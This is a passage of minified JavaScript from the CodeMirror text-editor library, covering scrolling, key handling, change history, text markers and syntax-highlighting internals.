b&&(a.display.scrollbarH.scrollLeft=b))}function de(a,b){var c=b.wheelDeltaX,d=b.wheelDeltaY;null==c&&b.detail&&b.axis==b.HORIZONTAL_AXIS&&(c=b.detail);null==d&&b.detail&&b.axis==b.VERTICAL_AXIS?d=b.detail:null==d&&(d=b.wheelDelta);var e=a.display,f=e.scroller;if(c&&f.scrollWidth>f.clientWidth||d&&f.scrollHeight>f.clientHeight){if(d&&S&&I){var g=b.target,h=e.view;a:for(;g!=f;g=g.parentNode)for(var k=0;k<h.length;k++)if(h[k].node==g){a.display.currentWheelTarget=g;break a}}!c||ob||W||null==X?(d&&null!=
X&&(g=d*X,h=a.doc.scrollTop,k=h+e.wrapper.clientHeight,0>g?h=Math.max(0,h+g-50):k=Math.min(a.doc.height,k+g+50),Gc(a,{top:h,bottom:k})),20>Wb&&(null==e.wheelStartX?(e.wheelStartX=f.scrollLeft,e.wheelStartY=f.scrollTop,e.wheelDX=c,e.wheelDY=d,setTimeout(function(){if(null!=e.wheelStartX){var a=f.scrollLeft-e.wheelStartX,b=f.scrollTop-e.wheelStartY,a=b&&e.wheelDY&&b/e.wheelDY||a&&e.wheelDX&&a/e.wheelDX;e.wheelStartX=e.wheelStartY=null;a&&(X=(X*Wb+a)/(Wb+1),++Wb)}},200)):(e.wheelDX+=c,e.wheelDY+=d))):
(d&&jb(a,Math.max(0,Math.min(f.scrollTop+d*X,f.scrollHeight-f.clientHeight))),Oa(a,Math.max(0,Math.min(f.scrollLeft+c*X,f.scrollWidth-f.clientWidth))),N(b),e.wheelStartX=null)}}function Xb(a,b,c){if("string"==typeof b&&(b=Yb[b],!b))return!1;a.display.pollingFast&&Wc(a)&&(a.display.pollingFast=!1);var d=a.display.shift,e=!1;try{Sb(a)&&(a.state.suppressEdits=!0),c&&(a.display.shift=!1),e=b(a)!=le}finally{a.display.shift=d,a.state.suppressEdits=!1}return e}function me(a){var b=a.state.keyMaps.slice(0);
a.options.extraKeys&&b.push(a.options.extraKeys);b.push(a.options.keyMap);return b}function ne(a,b){var c=cd(a.options.keyMap),d=c.auto;clearTimeout(oe);d&&!zf(b)&&(oe=setTimeout(function(){cd(a.options.keyMap)==c&&(a.options.keyMap=d.call?d.call(null,a):d,yd(a))},50));var e=Af(b,!0),f=!1;if(!e)return!1;f=me(a);if(f=b.shiftKey?Zb("Shift-"+e,f,function(b){return Xb(a,b,!0)})||Zb(e,f,function(b){if("string"==typeof b?/^go[A-Z]/.test(b):b.motion)return Xb(a,b)}):Zb(e,f,function(b){return Xb(a,b)}))N(b),
Kb(a),E(a,"keyHandled",a,e,b);return f}function Bf(a,b,c){var d=Zb("'"+c+"'",me(a),function(b){return Xb(a,b,!0)});d&&(N(b),Kb(a),E(a,"keyHandled",a,"'"+c+"'",b));return d}function fe(a){Xc(this);if(!ea(this,a)){z&&11>C&&27==a.keyCode&&(a.returnValue=!1);var b=a.keyCode;this.display.shift=16==b||a.shiftKey;var c=ne(this,a);W&&(dd=c?b:null,!c&&88==b&&!be&&(S?a.metaKey:a.ctrlKey)&&this.replaceSelection("",null,"cut"));18!=b||/\bCodeMirror-crosshair\b/.test(this.display.lineDiv.className)||Cf(this)}}
function Cf(a){function b(a){18!=a.keyCode&&a.altKey||($b(c,"CodeMirror-crosshair"),ja(document,"keyup",b),ja(document,"mouseover",b))}var c=a.display.lineDiv;ac(c,"CodeMirror-crosshair");w(document,"keyup",b);w(document,"mouseover",b)}function ee(a){16==a.keyCode&&(this.doc.sel.shift=!1);ea(this,a)}function ge(a){if(!(ea(this,a)||a.ctrlKey&&!a.altKey||S&&a.metaKey)){var b=a.keyCode,c=a.charCode;W&&b==dd?(dd=null,N(a)):(W&&(!a.which||10>a.which)||rc)&&ne(this,a)||(b=String.fromCharCode(null==c?b:
c),Bf(this,a,b)||(z&&9<=C&&(this.display.inputHasSelection=null),kb(this)))}}function pc(a){"nocursor"!=a.options.readOnly&&(a.state.focused||(H(a,"focus",a),a.state.focused=!0,ac(a.display.wrapper,"CodeMirror-focused"),a.curOp||a.display.selForContextMenu==a.doc.sel||(Z(a),I&&setTimeout(Y(Z,a,!0),0))),Rb(a),Kb(a))}function Ab(a){a.state.focused&&(H(a,"blur",a),a.state.focused=!1,$b(a.display.wrapper,"CodeMirror-focused"));clearInterval(a.display.blinker);setTimeout(function(){a.state.focused||(a.display.shift=
!1)},150)}function ce(a,b){function c(){if(null!=e.input.selectionStart){var b=a.somethingSelected(),c=e.input.value="\u200b"+(b?e.input.value:"");e.prevInput=b?"":"\u200b";e.input.selectionStart=1;e.input.selectionEnd=c.length;e.selForContextMenu=a.doc.sel}}function d(){e.inputDiv.style.position="relative";e.input.style.cssText=h;z&&9>C&&(e.scrollbarV.scrollTop=e.scroller.scrollTop=g);Rb(a);if(null!=e.input.selectionStart){(!z||z&&9>C)&&c();var b=0,d=function(){e.selForContextMenu==a.doc.sel&&0==
e.input.selectionStart?B(a,Yb.selectAll)(a):10>b++?e.detectingSelectAll=setTimeout(d,500):Z(a)};e.detectingSelectAll=setTimeout(d,200)}}if(!ea(a,b,"contextmenu")){var e=a.display;if(!Da(e,b)&&!Df(a,b)){var f=Qa(a,b),g=e.scroller.scrollTop;if(f&&!W){a.options.resetSelectionOnContextMenu&&-1==a.doc.sel.contains(f)&&B(a,L)(a.doc,na(f),oa);var h=e.input.style.cssText;e.inputDiv.style.position="absolute";e.input.style.cssText="position: fixed; width: 30px; height: 30px; top: "+(b.clientY-5)+"px; left: "+
(b.clientX-5)+"px; z-index: 1000; background: "+(z?"rgba(255, 255, 255, .05)":"transparent")+"; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);";if(I)var k=window.scrollY;P(a);I&&window.scrollTo(null,k);Z(a);a.somethingSelected()||(e.input.value=e.prevInput=" ");e.selForContextMenu=a.doc.sel;clearTimeout(e.detectingSelectAll);z&&9<=C&&c();if($c){Yc(b);var l=function(){ja(window,"mouseup",l);setTimeout(d,20)};w(window,"mouseup",l)}else setTimeout(d,
50)}}}}function Df(a,b){return T(a,"gutterContextMenu")?Zc(a,b,"gutterContextMenu",!1,H):!1}function pe(a,b){if(0>x(a,b.from))return a;if(0>=x(a,b.to))return qa(b);var c=a.line+b.text.length-(b.to.line-b.from.line)-1,d=a.ch;a.line==b.to.line&&(d+=qa(b).ch-b.to.ch);return q(c,d)}function ed(a,b){for(var c=[],d=0;d<a.sel.ranges.length;d++){var e=a.sel.ranges[d];c.push(new y(pe(e.anchor,b),pe(e.head,b)))}return ba(c,a.sel.primIndex)}function qe(a,b,c){return a.line==b.line?q(c.line,a.ch-b.ch+c.ch):q(c.line+
(a.line-b.line),a.ch)}function re(a,b,c){b={canceled:!1,from:b.from,to:b.to,text:b.text,origin:b.origin,cancel:function(){this.canceled=!0}};c&&(b.update=function(b,c,f,g){b&&(this.from=u(a,b));c&&(this.to=u(a,c));f&&(this.text=f);void 0!==g&&(this.origin=g)});H(a,"beforeChange",a,b);a.cm&&H(a.cm,"beforeChange",a.cm,b);return b.canceled?null:{from:b.from,to:b.to,text:b.text,origin:b.origin}}function Pa(a,b,c){if(a.cm){if(!a.cm.curOp)return B(a.cm,Pa)(a,b,c);if(a.cm.state.suppressEdits)return}if(T(a,
"beforeChange")||a.cm&&T(a.cm,"beforeChange"))if(b=re(a,b,!0),!b)return;if(c=se&&!c&&Ef(a,b.from,b.to))for(var d=c.length-1;0<=d;--d)te(a,{from:c[d].from,to:c[d].to,text:d?[""]:b.text});else te(a,b)}function te(a,b){if(1!=b.text.length||""!=b.text[0]||0!=x(b.from,b.to)){var c=ed(a,b);ue(a,b,c,a.cm?a.cm.curOp.id:NaN);pb(a,b,c,fd(a,b));var d=[];Ea(a,function(a,c){c||-1!=J(d,a.history)||(ve(a.history,b),d.push(a.history));pb(a,b,null,fd(a,b))})}}function bc(a,b,c){if(!a.cm||!a.cm.state.suppressEdits){for(var d=
a.history,e,f=a.sel,g="undo"==b?d.done:d.undone,h="undo"==b?d.undone:d.done,k=0;k<g.length&&(e=g[k],c?!e.ranges||e.equals(a.sel):e.ranges);k++);if(k!=g.length){for(d.lastOrigin=d.lastSelOrigin=null;;)if(e=g.pop(),e.ranges){Hb(e,h);if(c&&!e.equals(a.sel)){L(a,e,{clearRedo:!1});return}f=e}else break;c=[];Hb(f,h);h.push({changes:c,generation:d.generation});d.generation=e.generation||++d.maxGeneration;d=T(a,"beforeChange")||a.cm&&T(a.cm,"beforeChange");for(k=e.changes.length-1;0<=k;--k){var l=e.changes[k];
l.origin=b;if(d&&!re(a,l,!1)){g.length=0;break}c.push(gd(a,l));f=k?ed(a,l):A(g);pb(a,l,f,we(a,l));!k&&a.cm&&a.cm.scrollIntoView({from:l.from,to:qa(l)});var m=[];Ea(a,function(a,b){b||-1!=J(m,a.history)||(ve(a.history,l),m.push(a.history));pb(a,l,null,we(a,l))})}}}}function xe(a,b){if(0!=b&&(a.first+=b,a.sel=new ga(lb(a.sel.ranges,function(a){return new y(q(a.anchor.line+b,a.anchor.ch),q(a.head.line+b,a.head.ch))}),a.sel.primIndex),a.cm)){Q(a.cm,a.first,a.first-b,b);for(var c=a.cm.display,d=c.viewFrom;d<
c.viewTo;d++)ia(a.cm,d,"gutter")}}function pb(a,b,c,d){if(a.cm&&!a.cm.curOp)return B(a.cm,pb)(a,b,c,d);if(b.to.line<a.first)xe(a,b.text.length-1-(b.to.line-b.from.line));else if(!(b.from.line>a.lastLine())){if(b.from.line<a.first){var e=b.text.length-1-(a.first-b.from.line);xe(a,e);b={from:q(a.first,0),to:q(b.to.line+e,b.to.ch),text:[A(b.text)],origin:b.origin}}e=a.lastLine();b.to.line>e&&(b={from:b.from,to:q(e,s(a,e).text.length),text:[b.text[0]],origin:b.origin});b.removed=qb(a,b.from,b.to);c||
(c=ed(a,b));a.cm?Ff(a.cm,b,d):hd(a,b,d);Gb(a,c,oa)}}function Ff(a,b,c){var d=a.doc,e=a.display,f=b.from,g=b.to,h=!1,k=f.line;a.options.lineWrapping||(k=D(da(s(d,f.line))),d.iter(k,g.line+1,function(a){if(a==e.maxLine)return h=!0}));-1<d.sel.contains(b.from,b.to)&&Qd(a);hd(d,b,c,xd(a));a.options.lineWrapping||(d.iter(k,f.line+b.text.length,function(a){var b=Bb(a);b>e.maxLineLength&&(e.maxLine=a,e.maxLineLength=b,e.maxLineChanged=!0,h=!1)}),h&&(a.curOp.updateMaxLine=!0));d.frontier=Math.min(d.frontier,
f.line);Xa(a,400);c=b.text.length-(g.line-f.line)-1;f.line!=g.line||1!=b.text.length||ye(a.doc,b)?Q(a,f.line,g.line+1,c):ia(a,f.line,"text");c=T(a,"changes");if((d=T(a,"change"))||c)b={from:f,to:g,text:b.text,removed:b.removed,origin:b.origin},d&&E(a,"change",a,b),c&&(a.curOp.changeObjs||(a.curOp.changeObjs=[])).push(b);a.display.selForContextMenu=null}function Vb(a,b,c,d,e){d||(d=c);if(0>x(d,c)){var f=d;d=c;c=f}"string"==typeof b&&(b=Ba(b));Pa(a,{from:c,to:d,text:b,origin:e})}function Pb(a,b,c,d,
e){var f=a.display,g=ua(a.display);0>c&&(c=0);var h=a.curOp&&null!=a.curOp.scrollTop?a.curOp.scrollTop:f.scroller.scrollTop,k=f.scroller.clientHeight-R,l={};e-c>k&&(e=c+k);var m=a.doc.height+xc(f),r=c<g,g=e>m-g;c<h?l.scrollTop=r?0:c:e>h+k&&(c=Math.min(c,(g?m:e)-k),c!=h&&(l.scrollTop=c));a=a.curOp&&null!=a.curOp.scrollLeft?a.curOp.scrollLeft:f.scroller.scrollLeft;f=f.scroller.clientWidth-R-f.gutters.offsetWidth;(h=d-b>f)&&(d=b+f);10>b?l.scrollLeft=0:b<a?l.scrollLeft=Math.max(0,b-(h?0:10)):d>f+a-3&&
(l.scrollLeft=d+(h?0:10)-f);return l}function cc(a,b,c){null==b&&null==c||dc(a);null!=b&&(a.curOp.scrollLeft=(null==a.curOp.scrollLeft?a.doc.scrollLeft:a.curOp.scrollLeft)+b);null!=c&&(a.curOp.scrollTop=(null==a.curOp.scrollTop?a.doc.scrollTop:a.curOp.scrollTop)+c)}function La(a){dc(a);var b=a.getCursor(),c=b,d=b;a.options.lineWrapping||(c=b.ch?q(b.line,b.ch-1):b,d=q(b.line,b.ch+1));a.curOp.scrollToPos={from:c,to:d,margin:a.options.cursorScrollMargin,isCursor:!0}}function dc(a){var b=a.curOp.scrollToPos;
if(b){a.curOp.scrollToPos=null;var c=ae(a,b.from),d=ae(a,b.to),b=Pb(a,Math.min(c.left,d.left),Math.min(c.top,d.top)-b.margin,Math.max(c.right,d.right),Math.max(c.bottom,d.bottom)+b.margin);a.scrollTo(b.scrollLeft,b.scrollTop)}}function mb(a,b,c,d){var e=a.doc,f;null==c&&(c="add");"smart"==c&&(e.mode.indent?f=fb(a,b):c="prev");var g=a.options.tabSize,h=s(e,b),k=V(h.text,null,g);h.stateAfter&&(h.stateAfter=null);var l=h.text.match(/^\s*/)[0],m;if(!d&&!/\S/.test(h.text))m=0,c="not";else if("smart"==
c&&(m=e.mode.indent(f,h.text.slice(l.length),h.text),m==le||150<m)){if(!d)return;c="prev"}"prev"==c?m=b>e.first?V(s(e,b-1).text,null,g):0:"add"==c?m=k+a.options.indentUnit:"subtract"==c?m=k-a.options.indentUnit:"number"==typeof c&&(m=k+c);m=Math.max(0,m);c="";d=0;if(a.options.indentWithTabs)for(a=Math.floor(m/g);a;--a)d+=g,c+="\t";d<m&&(c+=ze(m-d));if(c!=l)Vb(e,c,q(b,0),q(b,l.length),"+input");else for(a=0;a<e.sel.ranges.length;a++)if(g=e.sel.ranges[a],g.head.line==b&&g.head.ch<l.length){d=q(b,l.length);
Lc(e,a,new y(d,d));break}h.stateAfter=null}function ec(a,b,c,d){var e=b,f=b;"number"==typeof b?f=s(a,Math.max(a.first,Math.min(b,a.first+a.size-1))):e=D(b);if(null==e)return null;d(f,e)&&a.cm&&ia(a.cm,e,c);return f}function Ra(a,b){for(var c=a.doc.sel.ranges,d=[],e=0;e<c.length;e++){for(var f=b(c[e]);d.length&&0>=x(f.from,A(d).to);){var g=d.pop();if(0>x(g.from,f.from)){f.from=g.from;break}}d.push(f)}pa(a,function(){for(var b=d.length-1;0<=b;b--)Vb(a.doc,"",d[b].from,d[b].to,"+delete");La(a)})}function id(a,
b,c,d,e){function f(b){var d=(e?Vc:Ae)(l,h,c,!0);if(null==d){if(b=!b)b=g+c,b<a.first||b>=a.first+a.size?b=m=!1:(g=b,b=l=s(a,b));if(b)h=e?(0>c?Ob:Nb)(l):0>c?l.text.length:0;else return m=!1}else h=d;return!0}var g=b.line,h=b.ch,k=c,l=s(a,g),m=!0;if("char"==d)f();else if("column"==d)f(!0);else if("word"==d||"group"==d){var r=null;d="group"==d;b=a.cm&&a.cm.getHelper(b,"wordChars");for(var p=!0;!(0>c)||f(!p);p=!1){var n=l.text.charAt(h)||"\n",n=fc(n,b)?"w":d&&"\n"==n?"n":!d||/\s/.test(n)?null:"p";!d||
p||n||(n="s");if(r&&r!=n){0>c&&(c=1,f());break}n&&(r=n);if(0<c&&!f(!p))break}}k=Ib(a,q(g,h),k,!0);m||(k.hitSide=!0);return k}function Be(a,b,c,d){var e=a.doc,f=b.left,g;"page"==d?(g=Math.min(a.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight),g=b.top+c*(g-(0>c?1.5:.5)*ua(a.display))):"line"==d&&(g=0<c?b.bottom+3:b.top-3);for(;;){b=Uc(a,f,g);if(!b.outside)break;if(0>c?0>=g:g>=e.height){b.hitSide=!0;break}g+=5*c}return b}function v(a,b,c,d){n.defaults[a]=b;c&&(Ka[a]=
d?function(a,b,d){d!=vd&&c(a,b,d)}:c)}function cd(a){return"string"==typeof a?fa[a]:a}function Sa(a,b,c,d,e){if(d&&d.shared)return Gf(a,b,c,d,e);if(a.cm&&!a.cm.curOp)return B(a.cm,Sa)(a,b,c,d,e);var f=new Fa(a,e);e=x(b,c);d&&Ja(d,f,!1);if(0<e||0==e&&!1!==f.clearWhenEmpty)return f;f.replacedWith&&(f.collapsed=!0,f.widgetNode=t("span",[f.replacedWith],"CodeMirror-widget"),d.handleMouseEvents||(f.widgetNode.ignoreEvents=!0),d.insertLeft&&(f.widgetNode.insertLeft=!0));if(f.collapsed){if(Ce(a,b.line,b,
c,f)||b.line!=c.line&&Ce(a,c.line,b,c,f))throw Error("Inserting collapsed marker partially overlapping an existing one");ma=!0}f.addToHistory&&ue(a,{from:b,to:c,origin:"markText"},a.sel,NaN);var g=b.line,h=a.cm,k;a.iter(g,c.line+1,function(a){h&&f.collapsed&&!h.options.lineWrapping&&da(a)==h.display.maxLine&&(k=!0);f.collapsed&&g!=b.line&&$(a,0);var d=new gc(f,g==b.line?b.ch:null,g==c.line?c.ch:null);a.markedSpans=a.markedSpans?a.markedSpans.concat([d]):[d];d.marker.attachLine(a);++g});f.collapsed&&
a.iter(b.line,c.line+1,function(b){va(a,b)&&$(b,0)});f.clearOnEnter&&w(f,"beforeCursorEnter",function(){f.clear()});f.readOnly&&(se=!0,(a.history.done.length||a.history.undone.length)&&a.clearHistory());f.collapsed&&(f.id=++Hf,f.atomic=!0);if(h){k&&(h.curOp.updateMaxLine=!0);if(f.collapsed)Q(h,b.line,c.line+1);else if(f.className||f.title||f.startStyle||f.endStyle)for(d=b.line;d<=c.line;d++)ia(h,d,"text");f.atomic&&Rd(h.doc);E(h,"markerAdded",h,f)}return f}function Gf(a,b,c,d,e){d=Ja(d);d.shared=
!1;var f=[Sa(a,b,c,d,e)],g=f[0],h=d.widgetNode;Ea(a,function(a){h&&(d.widgetNode=h.cloneNode(!0));f.push(Sa(a,u(a,b),u(a,c),d,e));for(var l=0;l<a.linked.length;++l)if(a.linked[l].isParent)return;g=A(f)});return new hc(f,g)}function De(a){return a.findMarks(q(a.first,0),a.clipPos(q(a.lastLine())),function(a){return a.parent})}function If(a){for(var b=0;b<a.length;b++){var c=a[b],d=[c.primary.doc];Ea(c.primary.doc,function(a){d.push(a)});for(var e=0;e<c.markers.length;e++){var f=c.markers[e];-1==J(d,
f.doc)&&(f.parent=null,c.markers.splice(e--,1))}}}function gc(a,b,c){this.marker=a;this.from=b;this.to=c}function rb(a,b){if(a)for(var c=0;c<a.length;++c){var d=a[c];if(d.marker==b)return d}}function fd(a,b){var c=cb(a,b.from.line)&&s(a,b.from.line).markedSpans,d=cb(a,b.to.line)&&s(a,b.to.line).markedSpans;if(!c&&!d)return null;var e=b.from.ch,f=b.to.ch,g=0==x(b.from,b.to);if(c)for(var h=0,k;h<c.length;++h){var l=c[h],m=l.marker;if(null==l.from||(m.inclusiveLeft?l.from<=e:l.from<e)||!(l.from!=e||
"bookmark"!=m.type||g&&l.marker.insertLeft)){var r=null==l.to||(m.inclusiveRight?l.to>=e:l.to>e);(k||(k=[])).push(new gc(m,l.from,r?null:l.to))}}c=k;if(d)for(var h=0,p;h<d.length;++h)if(k=d[h],l=k.marker,null==k.to||(l.inclusiveRight?k.to>=f:k.to>f)||k.from==f&&"bookmark"==l.type&&(!g||k.marker.insertLeft))m=null==k.from||(l.inclusiveLeft?k.from<=f:k.from<f),(p||(p=[])).push(new gc(l,m?null:k.from-f,null==k.to?null:k.to-f));d=p;g=1==b.text.length;p=A(b.text).length+(g?e:0);if(c)for(f=0;f<c.length;++f)if(h=
c[f],null==h.to)(k=rb(d,h.marker),k)?g&&(h.to=null==k.to?null:k.to+p):h.to=e;if(d)for(f=0;f<d.length;++f)h=d[f],null!=h.to&&(h.to+=p),null==h.from?(k=rb(c,h.marker),k||(h.from=p,g&&(c||(c=[])).push(h))):(h.from+=p,g&&(c||(c=[])).push(h));c&&(c=Ee(c));d&&d!=c&&(d=Ee(d));e=[c];if(!g){var g=b.text.length-2,n;if(0<g&&c)for(f=0;f<c.length;++f)null==c[f].to&&(n||(n=[])).push(new gc(c[f].marker,null,null));for(f=0;f<g;++f)e.push(n);e.push(d)}return e}function Ee(a){for(var b=0;b<a.length;++b){var c=a[b];
null!=c.from&&c.from==c.to&&!1!==c.marker.clearWhenEmpty&&a.splice(b--,1)}return a.length?a:null}function we(a,b){var c;if(c=b["spans_"+a.id]){for(var d=0,e=[];d<b.text.length;++d)e.push(Jf(c[d]));c=e}else c=null;d=fd(a,b);if(!c)return d;if(!d)return c;for(e=0;e<c.length;++e){var f=c[e],g=d[e];if(f&&g){var h=0;a:for(;h<g.length;++h){for(var k=g[h],l=0;l<f.length;++l)if(f[l].marker==k.marker)continue a;f.push(k)}}else g&&(c[e]=g)}return c}function Ef(a,b,c){var d=null;a.iter(b.line,c.line+1,function(a){if(a.markedSpans)for(var b=
0;b<a.markedSpans.length;++b){var c=a.markedSpans[b].marker;!c.readOnly||d&&-1!=J(d,c)||(d||(d=[])).push(c)}});if(!d)return null;a=[{from:b,to:c}];for(b=0;b<d.length;++b){c=d[b];for(var e=c.find(0),f=0;f<a.length;++f){var g=a[f];if(!(0>x(g.to,e.from)||0<x(g.from,e.to))){var h=[f,1],k=x(g.from,e.from),l=x(g.to,e.to);(0>k||!c.inclusiveLeft&&!k)&&h.push({from:g.from,to:e.from});(0<l||!c.inclusiveRight&&!l)&&h.push({from:e.to,to:g.to});a.splice.apply(a,h);f+=h.length-1}}}return a}function Fe(a){var b=
a.markedSpans;if(b){for(var c=0;c<b.length;++c)b[c].marker.detachLine(a);a.markedSpans=null}}function Ge(a,b){if(b){for(var c=0;c<b.length;++c)b[c].marker.attachLine(a);a.markedSpans=b}}function He(a,b){var c=a.lines.length-b.lines.length;if(0!=c)return c;var c=a.find(),d=b.find(),e=x(c.from,d.from)||(a.inclusiveLeft?-1:0)-(b.inclusiveLeft?-1:0);return e?-e:(c=x(c.to,d.to)||(a.inclusiveRight?1:0)-(b.inclusiveRight?1:0))?c:b.id-a.id}function xa(a,b){var c=ma&&a.markedSpans,d;if(c)for(var e,f=0;f<c.length;++f)e=
c[f],e.marker.collapsed&&null==(b?e.from:e.to)&&(!d||0>He(d,e.marker))&&(d=e.marker);return d}function Ce(a,b,c,d,e){a=s(a,b);if(a=ma&&a.markedSpans)for(b=0;b<a.length;++b){var f=a[b];if(f.marker.collapsed){var g=f.marker.find(0),h=x(g.from,c)||(f.marker.inclusiveLeft?-1:0)-(e.inclusiveLeft?-1:0),k=x(g.to,d)||(f.marker.inclusiveRight?1:0)-(e.inclusiveRight?1:0);if(!(0<=h&&0>=k||0>=h&&0<=k)&&(0>=h&&(0<x(g.to,c)||f.marker.inclusiveRight&&e.inclusiveLeft)||0<=h&&(0>x(g.from,d)||f.marker.inclusiveLeft&&
e.inclusiveRight)))return!0}}}function da(a){for(var b;b=xa(a,!0);)a=b.find(-1,!0).line;return a}function Dc(a,b){var c=s(a,b),d=da(c);return c==d?b:D(d)}function Cd(a,b){if(b>a.lastLine())return b;var c=s(a,b),d;if(!va(a,c))return b;for(;d=xa(c,!1);)c=d.find(1,!0).line;return D(c)+1}function va(a,b){var c=ma&&b.markedSpans;if(c)for(var d,e=0;e<c.length;++e)if(d=c[e],d.marker.collapsed&&(null==d.from||!d.marker.widgetNode&&0==d.from&&d.marker.inclusiveLeft&&jd(a,b,d)))return!0}function jd(a,b,c){if(null==
c.to)return b=c.marker.find(1,!0),jd(a,b.line,rb(b.line.markedSpans,c.marker));if(c.marker.inclusiveRight&&c.to==b.text.length)return!0;for(var d,e=0;e<b.markedSpans.length;++e)if(d=b.markedSpans[e],d.marker.collapsed&&!d.marker.widgetNode&&d.from==c.to&&(null==d.to||d.to!=c.from)&&(d.marker.inclusiveLeft||c.marker.inclusiveRight)&&jd(a,b,d))return!0}function hb(a){if(null!=a.height)return a.height;var b;a:{b=document.body;var c=a.node;if(b.contains)b=b.contains(c);else{for(;c=c.parentNode;)if(c==
b){b=!0;break a}b=void 0}}b||(b="position: relative;",a.coverGutter&&(b+="margin-left: -"+a.cm.getGutterElement().offsetWidth+"px;"),U(a.cm.display.measure,t("div",[a.node],null,b)));return a.height=a.node.offsetHeight}function Kf(a,b,c,d){var e=new ic(a,c,d);e.noHScroll&&(a.display.alignWidgets=!0);ec(a.doc,b,"widget",function(b){var c=b.widgets||(b.widgets=[]);null==e.insertAt?c.push(e):c.splice(Math.min(c.length-1,Math.max(0,e.insertAt)),0,e);e.line=b;va(a.doc,b)||(c=aa(b)<a.doc.scrollTop,$(b,
b.height+hb(e)),c&&cc(a,null,e.height),a.curOp.forceUpdate=!0);return!0});return e}function Ie(a,b){if(a)for(;;){var c=a.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!c)break;a=a.slice(0,c.index)+a.slice(c.index+c[0].length);var d=c[1]?"bgClass":"textClass";null==b[d]?b[d]=c[2]:(new RegExp("(?:^|s)"+c[2]+"(?:$|s)")).test(b[d])||(b[d]+=" "+c[2])}return a}function Je(a,b){if(a.blankLine)return a.blankLine(b);if(a.innerMode){var c=n.innerMode(a,b);if(c.mode.blankLine)return c.mode.blankLine(c.state)}}
function kd(a,b,c){for(var d=0;10>d;d++){var e=a.token(b,c);if(b.pos>b.start)return e}throw Error("Mode "+a.name+" failed to advance stream.");}function Ke(a,b,c,d,e,f,g){var h=c.flattenSpans;null==h&&(h=a.options.flattenSpans);var k=0,l=null,m=new jc(b,a.options.tabSize),r;for(""==b&&Ie(Je(c,d),f);!m.eol();){m.pos>a.options.maxHighlightLength?(h=!1,g&&Mc(a,b,d,m.pos),m.pos=b.length,r=null):r=Ie(kd(c,m,d),f);if(a.options.addModeClass){var p=n.innerMode(c,d).mode.name;p&&(r="m-"+(r?p+" "+r:p))}h&&
l==r||(k<m.start&&e(m.start,l),k=m.start,l=r);m.start=m.pos}for(;k<m.pos;)a=Math.min(m.pos,k+5E4),e(a,l),k=a}function Vd(a,b,c,d){var e=[a.state.modeGen],f={};Ke(a,b.text,a.doc.mode,c,function(a,b){e.push(a,b)},f,d);for(c=0;c<a.state.overlays.length;++c){var g=a.state.overlays[c],h=1,k=0;Ke(a,b.text,g.mode,!0,function(a,b){for(var c=h;k<a;){var d=e[h];d>a&&e.splice(h,1,a,e[h+1],d);h+=2;k=Math.min(a,d)}if(b)if(g.opaque)e.splice(c,h-c,a,"cm-overlay "+b),h=c+2;else for(;c<h;c+=2)d=e[c+1],e[c+1]=(d?d+
" ":"")+"cm-overlay "+b},f)}return{styles:e,classes:f.bgClass||f.textClass?f:null}}function Le(a,b){if(!b.styles||b.styles[0]!=a.state.modeGen){var c=Vd(a,b,b.stateAfter=fb(a,D(b)));b.styles=c.styles;c.classes?b.styleClasses=c.classes:b.styleClasses&&(b.styleClasses=null)}return b.styles}function Mc(a,b,c,d){var e=a.doc.mode,f=new jc(b,a.options.tabSize);f.start=f.pos=d||0;for(""==b&&Je(e,c);!f.eol()&&f.pos<=a.options.maxHighlightLength;)kd(e,f,c),f.start=f.pos}function Me(a,b){if(!a||/^\s*$/.test(a))return null;
var c=b.addModeClass?Lf:Mf;return c[a]||(c[a]=a.replace(/\S+/g,"cm-$&"))}function Jd(a,b){var c=t("span",null,null,I?"padding-right: .1px":null),c={pre:t("pre",[c]),content:c,col:0,pos:0,cm:a};b.measure={};for(var d=0;d<=(b.rest?b.rest.length:0);d++){var e=d?b.rest[d-1]:b.line,f;c.pos=0;c.addToken=Nf;(z||I)&&a.getOption("lineWrapping")&&(c.addToken=Of(c.addToken));var g;if(null!=ld)g=ld;else{g=U(a.display.measure,document.createTextNode("A\u062eA"));var h=Ma(g,0,1).getBoundingClientRect();g=h&&h.left!=
h.right?ld=3>Ma(g,1,2).getBoundingClientRect().right-h.right:!1}g&&(f=ca(e))&&(c.addToken=Pf(c.addToken,f));c.map=[];a:{g=c;var h=Le(a,e),k=e.markedSpans,l=e.text,m=0;if(k)for(var r=l.length,p=0,n=1,q="",s=void 0,u=0,v=void 0,w=void 0,x=void 0,C=void 0,y=void 0;;){if(u==p){for(var v=w=x=C="",y=null,u=Infinity,A=[],D=0;D<k.length;++D){var B=k[D],E=B.marker;B.from<=p&&(null==B.to||B.to>p)?(null!=B.to&&u>B.to&&(u=B.to,w=""),E.className&&(v+=" "+E.className),E.startStyle&&B.from==p&&(x+=" "+E.startStyle),
E.endStyle&&B.to==u&&(w+=" "+E.endStyle),E.title&&!C&&(C=E.title),E.collapsed&&(!y||0>He(y.marker,E))&&(y=B)):B.from>p&&u>B.from&&(u=B.from);"bookmark"==E.type&&B.from==p&&E.widgetNode&&A.push(E)}if(y&&(y.from||0)==p&&(Ne(g,(null==y.to?r+1:y.to)-p,y.marker,null==y.from),null==y.to))break a;if(!y&&A.length)for(D=0;D<A.length;++D)Ne(g,0,A[D])}if(p>=r)break;for(A=Math.min(r,u);;){if(q){D=p+q.length;y||(B=D>A?q.slice(0,A-p):q,g.addToken(g,B,s?s+v:v,x,p+B.length==u?w:"",C));if(D>=A){q=q.slice(A-p);p=A;
break}p=D;x=""}q=l.slice(m,m=h[n++]);s=Me(h[n++],g.cm.options)}}else for(var n=1;n<h.length;n+=2)g.addToken(g,l.slice(m,m=h[n]),Me(h[n+1],g.cm.options))}e.styleClasses&&(e.styleClasses.bgClass&&(c.bgClass=md(e.styleClasses.bgClass,c.bgClass||"")),e.styleClasses.textClass&&(c.textClass=md(e.styleClasses.textClass,c.textClass||"")));0==c.map.length&&c.map.push(0,0,c.content.appendChild(Qf(a.display.measure)));0==d?(b.measure.map=c.map,b.measure.cache={}):((b.measure.maps||(b.measure.maps=[])).push(c.map),
